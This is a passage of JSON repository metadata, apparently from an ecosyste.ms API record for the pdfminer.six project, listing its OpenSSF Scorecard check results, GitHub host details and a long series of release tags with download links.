miner.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29653572,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-20T09:27:29.698Z","status":"ssl_error","status_checked_at":"2026-02-20T09:26:12.373Z","response_time":59,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20251230","sha":"7094c9d3b2d732af4d017ff7bf390939ccdc72e9","kind":"tag","published_at":"2025-12-30T15:47:21.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20251230","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20251230","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20251230","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251230","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251230/manifests"},{"name":"20251229","sha":"e1ea7f465b6d3e3787659c2d52e06e3d571eb9e0","kind":"tag","published_at":"2025-12-29T20:14:20.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20251229","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20251229","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20251229","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251229","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251229/manifests"},{"name":"20251228","sha":"07ee7ef31110d8779ed6adb99eb8ec03a707c149","kind":"tag","published_at":"2025-12-28T14:30:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20251228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20251228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20251228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251228/manifests"},{"name":"20251227","sha":"0a93f94ba40b111bbb6c32fd0ee905ceb58a8bcb","kind":"tag","published_at":"2025-12-27T20:25:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20251227","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20251227","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20251227","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251227","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251227/manifests"},{"name":"20251107","sha":"b808ee05dd7f0c8ea8ec34bdf394d40e63501086","kind":"tag","published_at":"2025-11-07T19:59:40.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20251107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20251107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20251107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20251107/manifests"},{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pd